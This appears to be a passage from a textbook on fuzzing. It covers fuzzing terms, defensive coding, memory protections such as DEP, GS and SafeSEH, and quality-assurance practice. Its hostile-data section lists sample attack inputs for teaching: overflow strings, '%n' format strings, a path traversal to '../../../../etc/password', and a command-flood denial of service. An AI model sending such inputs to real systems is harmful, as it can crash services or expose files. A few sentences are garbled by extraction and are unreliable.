a given application. However, actually executing the target for a few minutes can often yield more understanding than hours of reverse engineering, at least from a high level.21 What if no under- standing of an application was available and all we could do was supply input? What if, for whatever reason, when we supply a malformed input, the target crashes? This is the essence and origin of fuzzing. One of the first people to employ fuzzing was Professor Barton Miller. He found that if random inputs were given to core Unix command line utilities (like ls, grep, ps, passwd, etc.) many of them would crash. This lack of robustness surprised him, and he went on to write one of the first automated tools designed specifically to crash programs. His fuzzing tool was dumb. However, in this context, the word dumb does not mean stupid. It means that his fuzzing tool had no knowledge of what inputs these programs might be expecting. That is, he merely sent random data as arguments to the functions. Conversely, if his tool had been intelligent, it would have known that command a always expects arguments b, in the forms c, d, or e. In later sections we’ll explain when, where, and how non-intelligent/intelligence should be applied and balanced. We’ll look at a number of topics, including how to build a fuzzer, how to reach the lowest level of a protocol or application, types of fuzzers, where and when fuzzers are most effective, what metrics to consider when fuzzing, and finally current and future trends and research. 2.6.1 Basic Terms Coverage is an important term that is used in testing, and the same applies for fuzzing. From a vulnerability analysis perspective, coverage typically refers to simple 2.6 Fuzzing 59 21Research on “high-level” reverse engineering is just beginning to go mainstream: www.net-security .org/article.php?id=1082 code coverage—that is, how many lines of the existing source code or compiled code has been tested or executed during the test. Coverage could also measure path, branch permutations, or a variety of other code coverage metrics. A related term to coverage is attack surface: the amount of code actually exposed to an attacker. Some code is internal and cannot be influenced by external data. Examples of this include when a network server parses a configuration file or initially binds to a socket. This code should be tested, but cannot be externally fuzzed. Since it cannot be influenced by external data, it is of little interest when finding vulnerabilities. Thus, our interests lie in coverage of the attack surface. This is especially true for security researchers. Quality assurance professionals may be tasked to test all of the code. A trust boundary is any place that data or execution goes from one trust level to another, where a trust level is a set of permissions to resources. For example, data sent across a network to an application that parses that data is an example of crossing a trust boundary. If the root user of a Unix system is the only one able to start a given application (via command line arguments), priority would probably go to fuzzing the network interface (assuming all or most untrusted users can access the interface) instead of the command line arguments. This is true for two reasons: A remotely exploitable bug is more interesting to attackers (since it can be done remotely), but in terms of trust boundaries, an elevation of privilege (from none to whatever the process runs as) can occur in the remote situation. Conversely, if the user must already be root to gain root privileges (unless a tricky method is devised to run the binary without root privileges), nothing has been gained, plus the attack would only be local. The reading of the full-disclosure mailing list will often reveal “vulnerabilities” in software if the application runs in an elevated privilege level. In reality, many programs do not run at an elevated privilege level (think ls, rm, cat), so a bug in these programs may not have security implications.22 Priority is impor- tant to software companies and attackers alike because the problem of finding bugs is difficult and time consuming. Neither is willing to waste much time (money) for purely academic reasons; fuzzing is known for its ability to produce results. Input source and input space are similar terms that refer to how data will be generated (and ultimately delivered) to the application to be fuzzed (the target). The input space is the entire set of all possible permutations that could be sent to the tar- get. This space is infinite, and that is why heuristics are used to limit this space. Attack heuristics are known techniques for finding bugs in applications, normally based on the types of bugs discovered in the past. 2.6.2 Hostile Data23 To find a vulnerability, you need to know what types of inputs will trigger the flaws. And when you know why these inputs will cause an exception or a crash, you will be able to optimize the tests that you need to do. The examples below illustrate 60 Software Vulnerability Analysis 22Unless those commands are executed by scripts running in higher privileges! 23Each bug type (buffer overflow, format string, etc.) may be further described in section 2.7. a few simple heuristics against a typical (imaginary) simple string-based client- server protocol.24 1. Buffer overflows are tested with long strings. For example: [Client]-> “user jared\r\n” “user Ok. Provide pass.\r\n” <-[Server] [Client]-> “pass <5000 ‘A’s>\r\n” 2. Integer overflows are tested with unexpected numerical values such as: zero, small, large, negative: wrapping at numerical boundaries – 2^4, 2^8, 2^16, 2^24: wrong number system—floats vs. integers. For example: [Client]-> “user jared\r\n” “user Ok. Provide pass.\r\n” <-[Server] [Client]-> “pass jared\r\n” “pass Ok. Logged in. Proceed with next command.\r\n” <-[Server] [Client]-> “get [-100000.98] files: *\r\n” Format string vulnerabilities are tested with strings such as: [Client]-> “user <10 ‘%n’s>” ‘%n’s are useful because of the way the printf family of functions were designed. A percent sign followed by a letter is referred to as a format string.25 The ‘n’ is the only switch that triggers a write and is therefore use- ful for triggering a crash while fuzzing. ‘x’ or ‘s’ may actually be a better choice in some cases, as the ‘n’ usage may be disabled.26 3. Parse error: NULL after string instead of \r\n. Bad string parsing code might be expecting a linefeed (\r or 0x0d) or newline (\n or 0x0a) in a given packet and may incorrectly parse data if nothing or a NULL exists in its place. The NULL (0x00) is special because string functions will terminate on it, when perhaps the parsing code wouldn’t expect it to since no new- line is present. [Client]-> “user jared0x00” 4. Parse error: Incorrect order and combined commands in one packet. Often, network daemons expect each command to arrive in a separate packet. But what if they don’t? And what if they’re out of order, and all strung together with linefeeds in one packet? Bad things could happen to the parser. [Client]-> “pass jared\r\nuser jared\r\n” 2.6 Fuzzing 61 24For more example inputs from web fuzzing, see www.owasp.org/index.php/OWASP_Testing_ Guide_Appendix_C:_Fuzz_Vectors 25See section 2.7.1.1. 26See http://blogs.msdn.com/michael_howard/archive/2006/09/28/775780.aspx 5. Parse error: Totally random binary data. If there is a particular character(s) that the parser is looking for but might not handle well in an unexpected scenario, this might uncover such an issue. [Client]-> “\xff\xfe\x00\x01\x42\xb5...” 6. Parse error: Sending commands that don’t make sense—multiple login. Design or logic flaws can also sometimes be uncovered via fuzzing. [Client]-> “user jared\r\n” “user Ok. Provide pass.\r\n” <-[Server] [Client]-> “pass jared\r\n” “pass Ok. Logged in. Proceed with next command.\r\n” <-[Server] [Client]-> “user jared\r\n” 7. Parse error: Wrong number of statement helpers such as ‘../’, ‘{’, ‘(’, ‘[’, etc. Many network protocols such as HTTP have multiple special chapters such as ‘:’, “\\”, etc. Unexpected behavior or memory corruption issues can creep in if parsers are not written very carefully. [Client]-> “user jared\r\n” “user Ok. Provide pass.\r\n” <-[Server] [Client]-> “pass jared\r\n” “pass Ok. Logged in. Proceed with next command.\r\n” <-[Server] [Client]-> “get [1] files: {{../../../../etc/password\r\n” 8. Parse error: Timing issue with incomplete command termination. Suppose we want to DoS the server. Clients can often overwhelm servers with a command that is known to cause processing to waiting on the server end. Or perhaps this uses up all the validly allow connections (like a SYN flood27) in a given window of time. [Client]-> “user jared\r” (@ 10000 pkts/second with no read for server response) 2.6.3 Number of Tests Again, it is obvious that the input space is infinite. This is why heuristics are used. For example, if a buffer overflow occurs if a particular string is larger than 1,024 bytes, this can be found by sending a string of 1 byte, then 2, then 3, etc. Or it can be found by sending a string of size 1, 2, 4, 8, etc. It is unlikely that an overflow will exist that will not be found using this method, and yet it can greatly reduce the number of test cases. Likewise, it would technically be possible to send totally ran- dom data and get the same effect as using heuristics, but instead of the fuzzer run- time being finite and reasonable (< than days/weeks) it would be nearly infinite and therefore unreasonable (> centuries). Furthermore, with an increased number of tests comes an increased load of logging. 62 Software Vulnerability Analysis 27See section 2.7.5. The goal is to cover every unique test case, input space (without too much dupli- cation or unneeded sessions), and to log the ones that succeed in causing the target to fail in some way. It is still an open question as to how many test cases are “enough,” but using a metric based approach and code coverage results, it may be possible to shed light on this difficult decision. 2.7 Defenses This section focuses on what can be done to mitigate the risks of implementation errors. There are many coding techniques, hardware/software protections, and further system designs that can be put in place to minimize the risk of software fail- ure or malicious compromise. To this end, Microsoft’s Vista operating system has made significant strides toward becoming a more secure operating and development platform. Section 2.7.5 will introduce some of these protections. Other operating systems have other pro- tections, but not all can be discussed in the space allotted. 2.7.1 Why Fuzzing Works Fuzzing has been found effective because manually conceiving and creating every possible permutation of test data to make good test cases is difficult if not impossi- ble. Testers try their best, but fuzzing has a way of slamming around to find inter- esting corner cases. Of course, intelligent fuzzing is required to advance into multi-leg, or more complex, protocols. This will be discussed later in this book. Fuzzing works against any application that accepts input, no matter what pro- gramming language is used: Java, C++, C, C#, PHP, Perl, or others. However, appli- cations written in C and C++ are particularly susceptible to fuzzing. Compiled C code is probably the fastest high-level language. For example, a network server that needs to be able to run at very high speeds would not be written in python or ruby, because it would be too slow. C would be the best choice for speed. This is because C provides the programmer the ability to manage low-level operations, such as memory management (malloc(), free(), etc.). C and C++ are a hacker’s favorite target languages. This is because C code tra- ditionally handles its own memory; from static buffer declarations that lead to stack overflows to heap allocations that can easily go wrong. With the ability to optimize memory for speed comes the ability to shoot oneself in the foot. General applica- tions should never be managing their own memory these days. Computers are fast, and programmers make too many mistakes. It only makes sense to code in C and manage memory when an application’s speed is more important than an applica- tion’s security, or you have to integrate with legacy code. In these (and really all) applications, defensive coding should be the norm. (Kernels are also written in C/C++ out of necessity.) 2.7.2 Defensive Coding Defensive coding may also be known as defensive or secure programming. The gen- eral goal is to reduce the number of bugs in software, make the source code more 2.7 Defenses 63 readable, and keep the software from executing in unpredictable ways. The following is a short list of some of the guidelines defensive programmers should keep in mind:28 1. Reduce code complexity. Never make code more complex that it needs to be; complexity equals bugs. 2. Source code reviews. All code should be reviewed using automatic source code auditing tools. Many software development organizations have source code scanning tools embedded in the build process, and they auto- matically look for certain patterns and potentially dangerous functions. For example, in C, strcpy() should never be used. 3. Quality control. All code should be thoroughly tested. Fuzz testing is a must for applications with potentially vulnerable attack surfaces. This should be part of a full security audit (design review, code review, fuzz test- ing, and so on) Software testing is discussed more in Chapter 3. 4. Code reuse. If there are snippets that have been well tested, reuse is better than a rewrite when applicable. This saves time (money) and is more secure. Look out for legacy problems or buggy libraries, however. 5. Secure input/output handling. Nothing should be assumed about exter- nally supplied data. All user input should be rigorously verified before being used by the application. 6. Canonicalization. Remember that on Unix-based operating systems /etc/ passwd is the same as /etc/.///passwd. Input string auditing may require the use of canonicalization APIs to defend against such tricks. 7. Principle of least privilege. Avoid running software in privileged modes if possible. Do not grant more privileges to the application than are needed. 8. Assume the worst. If similar applications have had bugs in a particular rou- tine, assume your code does as well. This follows the Same Bug Different Application (SBDA) theory, which holds true surprisingly often. A touch of paranoia is good. All code is insecure even after testing. Defense in depth is good. 9. Encrypt/Authenticate. Encrypt everything transmitted over networks (when possible). Local encryption may be employed as well. Use encryp- tion libraries. Mistakes are often made in home-grown encryption. Roll- ing custom cryptography is often a bad idea. Use public libraries when possible. 10. Stay up to date. Exceptions can be better than return codes because they help enforce intended API contracts, where lazy programmers may or may not look at return codes. However, recently exception handlers are being considered bad, because they are often used incorrectly.29 2.7.3 Input Verification Input verification, or input handling, is how an application verifies the correctness of data provided to it via an external source. Improper verification (sanitization) 64 Software Vulnerability Analysis 28http://en.wikipedia.org/wiki/Defensive_programming accessed on 12/10/07 29http://blogs.msdn.com/david_leblanc/archive/2007/04/03/exception-handlers-are-baaad.aspx has led to such bugs as directory traversals, code injections, buffer overflows, and more. Some basic filter techniques are • Whitelist. A list of known good inputs. This is a list that essentially says “a, b, and c are ok; all else is to be denied.” Such a listing is best but is not always possible. • Blacklist. A list of known bad inputs. This list says, “all are ok, but deny x and y.” This is not as effective as whitelisting because it relies on the pro- grammer’s thinking of every possible troublesome input. • Terminate on input problem. This approach terminates as soon as any prob- lem is found with the provided input data and logs the problem. • Filter input. Takes input, even bad input, and attempts to filter. For example, if the ‘&’ is a disallowed character, “&jared” would be interpreted as “jared.” This is not as secure as “Terminate on Input problem,” but often required. • Formal grammar. Input data can also be verified via a formal grammar such as XML. In this case, just make sure to use well-tested, public verification software. Generally, the most secure way to filter input is to terminate on malformed input by using whitelists. 2.7.4 Hardware Overflow Protection Buffer overflows have been so troublesome for software developers (and so nice for hackers) that both hardware and software protections have been developed. In this section two hardware/software solutions are shown. 2.7.4.1 Secure Bit Secure bit is an example of a hardware/software overflow solution, which is cur- rently under study at Michigan State University. Secure bit is a patent pending tech- nology developed to help reduce the risks of buffer overflow attacks on control data (return addresses and function pointers). Secure bit requires hardware (processor) and kernel OS modifications. Secure bit is transparent to user software and is com- patible with legacy code. Secure bit works by marking addresses passed between buffers as insecure. This is also known as user input tainting. Once data has been tainted, there is no way to unmark it. If control instructions try to use these marked addresses, an exception is raised. Robustness and minimal run-time impact are two impressive elements of the secure bit technology.30 2.7 Defenses 65 30R. Enbody and K. Piromsopa, “Secure Bit: Transparent, Hardware Buffer-Overflow Protection,” IEEE Transactions on Dependable and Secure Computing,” 3(4)(October 2006): 365–376. ISSN:1545-5971 2.7.4.2 Hardware DEP Data execution protection is a Microsoft hardware/software solution to perform additional checks to help prevent malicious exploits from executing in memory. In Windows Server 2003 with Service Pack 1, XP SP2, and Vista, DEP is enforced by both hardware and software. Hardware-enforced DEP marks all noncode segments in a process as nonexe- cutable unless the location explicitly contains executable code. Attacks such as overflows attempt to insert and execute code from nonexecutable memory loca- tions, such as the stack or heap. DEP helps prevent these attacks by raising an exception when execution is attempted from such locations. Hardware-enforced DEP relies on processor hardware to mark memory with an attribute that indicates that code should not be executed from that memory. DEP functions on a per-virtual-memory-page basis, usually changing a bit in the page table entry (PTE) to mark the memory page. The actual hardware implementation of DEP and marking of the virtual mem- ory page varies by processor architecture. However, processors that support hardware-enforced DEP are capable of raising an exception when code is executed from a page marked with the appropriate attribute set. Both Advanced Micro Devices (AMD) and Intel Corporation have defined and shipped Windows-compatible architectures that are compatible with DEP. 32-bit versions of Windows Server 2003 with Service Pack 1 utilize the no- execute page-protection (NX) processor feature as defined by AMD or the Execute Disable bit (XD) feature as defined by Intel. In order to use these processor features, the processor must be running in Physical Address Extension (PAE) mode. The 64- bit versions of Windows use the NX or XD processor feature on 64-bit extension processors and certain values of the access rights page table entry (PTE) field on IPF processors.31 2.7.5 Software Overflow Protection This section will present some of the software protections that are available to try to mitigate the effects of buffer overflows. The idea is that no one protection is suf- ficient and that a “defense in depth” strategy is required. 2.7.5.1 GS The Buffer Security Check (“/GS” compile flag) is a Microsoft Visual Studio C++ compile option that works by placing a “cookie” (referred to as a “canary” in other technologies) on the stack, between the return address and local variables, as each function is called. This cookie is initialized to a new value each time the application is run. The integrity of the cookie is checked before a function returns. If a buffer overflow occurred, which normally overwrites a contiguous block of data values, 66 Software Vulnerability Analysis 31http://technet2.microsoft.com/windowsserver/en/library/b0de1052-4101-44c3-a294-4da1bd1ef 2271033.mspx?mfr=true the cookie will have been altered, and the application will terminate with an error. Guessing the cookie value is difficult, but much work has been done on defeating canary-based stack protection.32,33 2.7.5.2 Software DEP An additional set of DEP security checks has been added to Windows Server 2003 with Service Pack 1. These checks, known as software-enforced DEP, are designed to mitigate exploits of exception handling mechanisms in Windows. Software- enforced DEP runs on any processor that is capable of running Windows Server 2003 with Service Pack 1. By default, software-enforced DEP protects only lim- ited system binaries, regardless of the hardware-enforced DEP capabilities of the processor. Software-enforced DEP performs additional checks on exception handling mechanisms in Windows. If the program’s image files are built with Safe Structured Exception Handling (SafeSEH), software-enforced DEP ensures that before an exception is dispatched, the exception handler is registered in the function table located within the image file. If the program’s image files are not built with SafeSEH, software-enforced DEP ensures that before an exception is dispatched, the exception handler is located within a memory region marked as executable. 2.7.5.3 SafeSEH and more Figure 2.9 shows all of the security enhancements added in the Vista platform. Each of these will not be explained as that is not the focus of this book. However, a few of the hardware and software protections have been discussed. SafeSEH will be fur- ther detailed because it is very interesting to hackers. There is a class of attacks used by hackers and security researchers, against Windows, called an SEH overwrite. SEH is short for Structured Exception Han- dler. In the case of a stack overflow, even if a return address cannot be affected, if an exception handler address can be overwritten, malicious execution control can still be obtained. On the next exception, Windows will attempt to execute code at the address pointed to by the overwritten exception pointer. To limit the success of such attacks, Microsoft developed SafeSEH, which is the heart of the Software DEP described in the previous section. Again, SafeSEH works by not allowing an SEH pointer to be an arbitrary value. It must point to a registered exception handler (as opposed to some spot in the heap or stack like an attacker would prefer). However, if the attack returns to code in a .211 not protected by SafeSEH, the attack may still succeed. 2.7 Defenses 67 32D. Litchfield, “Defeating the Stack Based Overflow Prevention Mechanism of Microsoft Windows 2003 Server,” Sept. 2003, www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf 33Analysis of GS protections in Microsoft® Windows Vista(tm) Ollie Whitehouse, Architect, Symantec Advanced Threat Research. www.symantec.com/avcenter/reference/GS_Protections_ in_Vista.pdf 2.7.5.4 PAX and ExecShield PAX from the GRSec family of kernel patches and ExecShield (originally from Red- Hat) are both methods of marking data memory as nonexecutable and by marking the program memory as nonwritable (on the Linux operating systems). The result of these protections is the lack of memory pages that are both writable and exe- cutable. This method helps to protect the system from code that has been injected into the process through a vulnerability. Although there has been heated debate and exploit workarounds for both of these solutions, it is an excellent safeguard against most generic exploitation attempts. The exact implementation of these technolo- gies has subtle differences, and is worth investigating. 2.7.5.5 StackGuard StackGuard is also a protection mechanism on Linux, but uses a slightly different method than the previous two protections mentioned. It is more akin to the GS compiler flag from Microsoft. StackGuard uses a canary value that gets checked after a function call, and when destroyed, shows that a stack overflow has occurred somewhere in the preceding code. 2.8 Summary Fuzzing used to be a secretive activity. Although developed through publicly avail- able research, mostly only government agencies and underground hackers per- formed fuzzing as part of their vulnerability assessment practices. But now, as is 68 Software Vulnerability Analysis Figure 2.9 Overview of Microsoft Windows Vista’s security enhancements.34 34”Security Implications of Microsoft® Windows Vista™,” Symantec Advanced Threat Research, www.symantec.com/avcenter/reference/Security_Implications_of_Windows_Vista.pdf evidenced by this book, it is an openly talked about subject. As fuzzing blends more and more with the software development process, university courses that talk about fuzzing have appeared. Fuzzing is already a frequent subject at most security con- ferences like BlackHat, Defcon, Chaos Communication Congress (CCC), CanSecWest, and Toorcon. A large percent of all vulnerabilities are reported to have been found via fuzz testing. Chapter 2 was intended to whet one’s appetite for bug hunting by presenting various types of bugs, defenses, security career paths, and more. This hopefully made you hunger for the more in-depth chapters on fuzzing and available fuzz tools, as well as gave you a solid introduction into the security mindset and com- munity experiences of those who have worked for years in security. 2.8 Summary 69 C H A P T E R 3 Quality Assurance and Testing The purpose of this chapter is to give you some relevant background information if you would like to integrate any form of fuzzing into your standard software testing processes. This topic may be familiar to you if you have experience in any type of testing including fuzzing as part of the software development process. You might disagree with some of the arguments presented. This is not exactly the same infor- mation you would find in generic testing textbooks, rather, it is based on our prac- tical real-life experience. And your experience might differ from ours. Our purpose is not to describe testing processes and experiences, but we urge you to look for a book on testing techniques, if you are interested in learning more on this topic. Indeed, many of the topics discussed in this chapter are much better explained in the amazing book called Software Testing Techniques, 2nd edition, written by Boris Beizer in 1990. We highly recommend that you read that book if you work in a testing profession. In this chapter, we will look at fuzzing from the eyes of a quality assurance professional, identifying the challenges of integrating fuzzing in your QA methods. We will leverage the similar nature of fuzzing when compared to more traditional testing techniques in functional testing. For readers with a security background, this chapter gives an overview of the quality assurance techniques typically used in the software development life cycle (SDLC), with the purpose of introducing common terminology and definitions. The focus is on testing approaches that are relevant to fuzzing techniques, although we briefly mention other techniques. To those who are new to both the security assessment and testing scenes, we provide all the information you will need to get started. We also recommend further reading that will give you more detailed information on any of the presented testing approaches. 3.1 Quality Assurance and Security How is quality assurance relevant to the topic of fuzzing? In short, software qual- ity issues, such as design flaws or programming flaws, are the main reason behind most, if not all, known software vulnerabilities. Quality assurance practices such as validation and verification, and especially software testing, are proactive measures used to prevent the introduction of such flaws, and to catch those quality flaws that are left in a product or service before its initial release. Fuzzing is one of the tools that will help in that process. On the other hand, traditional vulnerability assurance practices have typi- cally taken place in a very late phase of the software development life cycle. Most 71 security assessments are reactive: They react to security-related discoveries (bugs) in software. They focus on protecting you from known attacks and in identifying known vulnerabilities in already deployed systems. Although traditional security assessment, consisting of running security scanners and other vulnerability detection tools, does not attempt to find anything new and unique, it is still well suited for post-deployment processes. But for really efficient QA purposes, we need something else. The main reason why we will discuss quality assurance in this book is to show how current quality assurance processes can be improved if fuzzing is integrated within them. Fuzzing is very different from vulnerability scanners, as its purpose is to find new, previously undetected flaws. The discovery of those flaws after deploy- ment of the software is costly. Fuzzing tools are very much like any traditional test- ing tools used in quality assurance practices. Still, unfortunately, fuzzing is often not part of the product development process. Security assessment using fuzzing is almost always performed on a completed or even deployed product. Only vulnera- bility assessment professionals usually conduct fuzzing. Hopefully, this will begin to change as testers realize the utility that fuzzing can bring to the process. Quality assurance is also an interesting topic to vulnerability assessment people due to the possibility of learning from those practices. Although security experts often focus on looking for known vulnerabilities in released products, sometimes the processes and tools used by security assessment experts can be very similar to those used by quality assurance professionals who take a more proactive approach. Vulnerability assessment professionals already use many of those same processes and tools, as you will see. 3.1.1 Security in Software Development Security testing, as part of a quality assurance process, is a tough domain to explain. This is partly because of the vagueness of the definition. As far as we know, there is no clear definition for security testing. Far too many product managers view security as a feature to be added during software development. Also, for some end users, security is a necessary but very difficult-to-define property that needs to be added to communications products and services. Both of these definitions are partly correct, as many security requirements are fulfilled with various security mechanisms. Think of encryption or authentication. These are typical security features that are implemented to protect against various mistakes related to confidentiality and integrity. A security requirement will define a security mechanism, and testing for that requirement can sometimes be very difficult. Some R&D managers have a mis- conception that when all security requirements have been tested, the security test is complete. For example, a team of developers at a company we worked with felt they had excellent security and had designed their applications with security in mind at every step of development. They implemented complex authentication and authorization code and utilized strong encryption at all times. However, they had never heard of buffer overflows and command injection flaws, or didn’t think they were relevant. Consequently, their applications were vulnerable to many of these implementation-level vulnerabilities. 72 Quality Assurance and Testing 3.1.2 Security Defects One of the main reasons behind compromises of security are implementation mis- takes—simple programming errors that enable the existence of security vulnerabil- ities—and the existence of attacks such as viruses and worms that exploit those vulnerabilities. End users neither care to nor have the skills necessary to assess the security of applications. They rely on quality assurance professionals and, unwit- tingly, on security researchers. Certainly, some security features may be of interest to end users, such as the presence and strength of encryption. Nevertheless, flaws such as buffer overflows or cross-site scripting issues comprise a majority of security incidents, and malicious hackers abuse them on a daily basis. It is uncommon that anyone actually exploits a flaw in the design of a security mechanism, partly because those techniques are today based on industry-proven reusable libraries. For example, very few people will implement their own encryption algorithm. In general, it is a very bad idea to implement your own security library, as you are almost doomed to fail in your attempt. This is another example in which it doesn’t make sense to reinvent the wheel. In software development, quality assurance practices are responsible for the dis- covery and correction of these types of flaws created during the implementation and design of the software. 3.2 Measuring Quality What is “good enough” quality? How do we define quality? And how can we meas- ure against that quality definition? These are important questions, especially be- cause it is impossible with current technologies to make complex code perfect. In all quality assurance-related efforts, we need to be able to say when the product is ready. Like the software developer who defines code as being ready by stating that “it compiles,” at some point testers need to be able to say “it works and is mostly free of bugs.” But, as everyone knows, software is far from ready when it compiles for the first time. In similar fashion, it is very difficult to say when software really works correctly. Similarly, product security is also a challenging metric. When can we say that a product is “secure enough,” and what are the security measures needed for that? 3.2.1 Quality Is About Validation of Features The simplest measurement used in testing is checking against the features or use cases defined in the requirement or test specifications. These requirements are then directly mapped to individual test cases. If a test cycle consists of a thousand tests, then each test has to have a test verdict that defines whether it passed or failed. A requirement for systematic testing is that you know the test purpose before- hand. This is the opposite to “kiddie testing,” in which any bug found in the test is a good result, and before the test is started there is very little forecast as to what might 3.2 Measuring Quality 73 be found. Note that we do not want to downplay this approach! On the contrary! Any exploratory testing approaches are very good at testing outside the specifica- tions, and a good exploratory tester will always find unexpected flaws in software. The “out-of-the-box” perspective of exploratory testing can reveal bugs that might be missed by testers blinded by the specifications. But there is always a risk involved when the quality of the tests is based on chance and on the skills of the individual tester. Common technique for defining test success in functional, feature-oriented black-box testing is by using an input/output oracle, which defines the right coun- terpart for each request (or the right request to each response if testing client soft- ware). Similarly, if you are able to monitor the internals of the software, an oracle can define the right internal actions that have to be performed in a test. A 100% success rate based on feature testing means everything that was spec- ified in the test specification was tested, and the software passed the specified tests. This metric is very feature-oriented, as it can be very challenging to proactively assign verdicts to some tests during the test specification phase. Fuzzing is an excellent example in which a test can consist of millions of test cases, and whether each test case passes or fails is very difficult to assess. A strict test plan that requires a pass/fail criterion for every single test case in the specification phase will restrict the introduction of new testing techniques such as fuzzing. Let’s look at an example from the fuzzing perspective. In the protocol standardization side, IETF has defined a set of tests for testing different anomalous communication inputs for the SIP1 protocol. IETF calls these test specifications “torture tests.” Many commercial test tools implement these tests, but when you think about them from a fuzzing perspective, the test coverage in these specifications is very limited. An example test description from SIP RFC4475 is shown below: 3.1.2.4. Request Scalar Fields with Overlarge Values This request contains several scalar header field values outside their legal range. o The CSeq sequence number is >2**32-1. o The Max-Forwards value is >255. o The Expires value is >2**32-1. o The Contact expires parameter value is >2**32-1. An element receiving this request should respond with a 400 Bad Request due to the CSeq error. If only the Max-Forwards field were in error, the element could choose to process the request as if the field were absent. If only the expiry values were in error, the element could treat them as if they contained the default values for expiration (3600 in this case). Other scalar request fields that may contain aberrant values include, but are not limited to, the Contact q value, the Timestamp value, and the Via ttl parameter. 74 Quality Assurance and Testing 1IETF RFC 4475 “Session Initiation Protocol (SIP) Torture Test Messages.” Most negative tests actually come in predefined test suites. The first such test suites were released by the PROTOS research from the University of Oulu. PRO- TOS researchers have provided free robustness testing suites for numerous proto- cols since 1999, including tests for SIP released in 2002. One PROTOS test case description in which the SIP method has been replaced with an increasing string of “a” characters is shown below: aaaaaaaaaaaaaaaaa sip:<To> SIP/2.0 Via: SIP/2.0/UDP <From-Address>:<Local Port>;branch=z9hG4bK00003<Branch-ID> From: 3 <sip:<From>>;tag=3 To: Receiver <sip:<To>> Call-ID: <Call-ID>@<From-Address> CSeq: <CSeq> INVITE Contact: 3 <sip:<From>> Expires: 1200 Max-Forwards: 70 Content-Type: application/sdp Content-Length: <Content-Length> v=0 o=3 3 3 IN IP4 <From-Address> s=Session SDP c=IN IP4 <From-IP> t=0 0 m=audio 9876 RTP/AVP 0 a=rtpmap:0 PCMU/8000 PROTOS uses a BNF-style grammar to model the entire communication proto- col, and that can be seen in the generated test case descriptions as <tag> elements that represent changing values in the test cases. The test execution engine, or test driver, will replace these fields with the dynamic values required during the execu- tion of the test. As you can see, the IETF approach is rather different from the PROTOS approach. Instead of a limited coverage of tests for each test requirement, the PRO- TOS SIP test suite contains more than 4,500 individual test cases that systemati- cally add anomalies to different header elements of the protocol. Instead of one test case per negative requirement, the test suite will execute a range of tests to try out different unexpected values and exercise unusual corner cases. Test cases can be configured with command-line options, and some dynamic functionality has been implemented for protocol elements such as Content-Length, as shown above. PRO- TOS tests were generated using a proprietary Mini-Simulation technology, which basically can be thought of as a general-purpose fuzzing framework.2 In the IETF torture test suite, the correct responses to error situations are defined, whereas PROTOS ignores the responses and does not try to define the correct behavior under corrupted or hostile situations. The approach of defining the responses to 3.2 Measuring Quality 75 2The PROTOS Mini-Simulation framework was later acquired by Codenomicon. attacks limits the possible test coverage of torture tests and any other testing approach based on test requirements and use cases. Most fuzzers behave the same way as PROTOS suites did—i.e., the responses are rarely checked against any test oracle.3 For those testers who have trouble thinking about using test cases in which the response is unknown, it is important to note that the purpose of fuzzing is not about verifying features, it is about finding crash-level defects. 3.2.2 Quality Is About Finding Defects Quality assurance aims to reduce defects in software through two means. The first way is by making it more difficult for people to introduce the defects in the first place. The second, and more relevant means of defect reduction from the fuzzing perspective, is using various methods of finding bugs. When integrating fuzzers into quality assurance, you need to remember both these requirements. Quality assurance should not only be about validating correctness. Sometimes finding just one flaw is enough proof of the need for improvement, and whether it takes fifty or five million tests to find it is irrelevant. If you find one flaw, you can be sure that there are others. Bugs often appear in groups, and this is typical because the same person (or team) tends to make similar mistakes in other places in their code. A common process failure created by the traditional patch-and-penetrate race is that when in a hurry, a person tends to focus all efforts on finding and fixing that one specific flaw, when the same flaw could be apparent just 10 lines later. Even a good programmer can make mistakes when in a hurry, or when having a bad day. If a programmer does not pay attention to the entire module when fixing security problems, he or she will most probably never have a chance to review that piece of code again. Quality assurance is hunting for bugs in software, by whatever means. This should be the mental mode for testers: Testers are bug hunters. It is quite common that in real-life software development, there might be no real bug hunters involved in the testing process at all. The results of this type of destructive testing can be annoying to some organizations that are more used to the positive thinking of “val- idating and verifying” (V&V) functionality. Still, the ultimate purpose is not to blame the designers and the programmers for the found flaws, but rather find and remove as many problems as possible. 3.2.3 Quality Is a Feedback Loop to Development Quality assurance is also used to validate the correctness of the development process. For quality assurance people, the driving motivation is to be able to assist developers in building better systems and potentially to improve the software devel- opment process at the same time. A category of flaws that consistently appears and is caught in the late phases of software development calls for a change in earlier 76 Quality Assurance and Testing 3A test oracle is the automated decision-making process that compares the received responses against expected responses (input/output oracle) and makes the verdict if behavior was correct. steps in the process. Security flaws are a good example of such a flaw category. If buffer overflow vulnerabilities are consistently found in products ready to deploy, the best solution is to radically improve the developer practices. Note that many security flaws go by different names in different phases of the software development process. During unit testing, a tester might presume that a boundary value flaw is not critical and will label the bug as such. But the same boundary value flaw is not critical and will not label the bug as such. Understand- ing these links is critical, so that people use the same terminology and have the same understanding of severity of bugs when discussing flaws. 3.2.4 Quality Brings Visibility to the Development Process Quality assurance is a metric of the software development process. With good qual- ity assurance processes, we are able to get visibility into the software development process and the current status of the software. Integration of system units and soft- ware modules is one measurement of the software process. When a module is ready and tested, it can be labeled as completed. The soft- ware industry is full of experiences in which the software has been 90% ready for half of the development time. Security testing should also be an integral part of the software development life cycle and not a delay at the end that adds to this miscon- ception of “almost ready.” Knowing the place and time for security testing enables product managers to understand the requirements of security testing from a time (and money) perspective. 3.2.5 End Users’ Perspective Quality assurance is a broad topic and we need to narrow it down to be able to explain the selected parts in enough detail. Defining quality is a challenging task, and different definitions apply to different categories of quality. For example, tests that validate security properties can be very complex, and trust in their verdicts is sometimes limited. The definition of quality depends on who is measuring it. For many testers, the challenge is how to measure and explain the efficiency of quality assurance so that the end customer will understand it. Quality assurance needs to be measurable, but the customer of the quality assurance process has to be able to define and validate the metrics used. In some cases, the customer has to also be able to rerun and validate the actual tests. Our purpose in this book is to look at quality from the security testing per- spective, and also to look at quality assurance definitions mainly from the third- party perspective. This, in most cases, means we are limited to black-box testing approaches. 3.3 Testing for Quality Testing does not equal quality assurance. The main goal of testing is to minimize the number of flaws in released products. Testing is part of a typical quality assur- ance process, but there are many other steps before we get to testing. Understanding 3.3 Testing for Quality 77 different quality assurance methods requires us to understand the different steps in the software development life cycle (SDLC). There have been many attempts to describe software development processes, such as the waterfall approach, iterative development, and component-based development. 3.3.1 V-Model V-model is not necessarily the most modern approach to describing a software development process. In real life, software development rarely follows such a straightforward process. For us, the V-model still offers an interesting view of 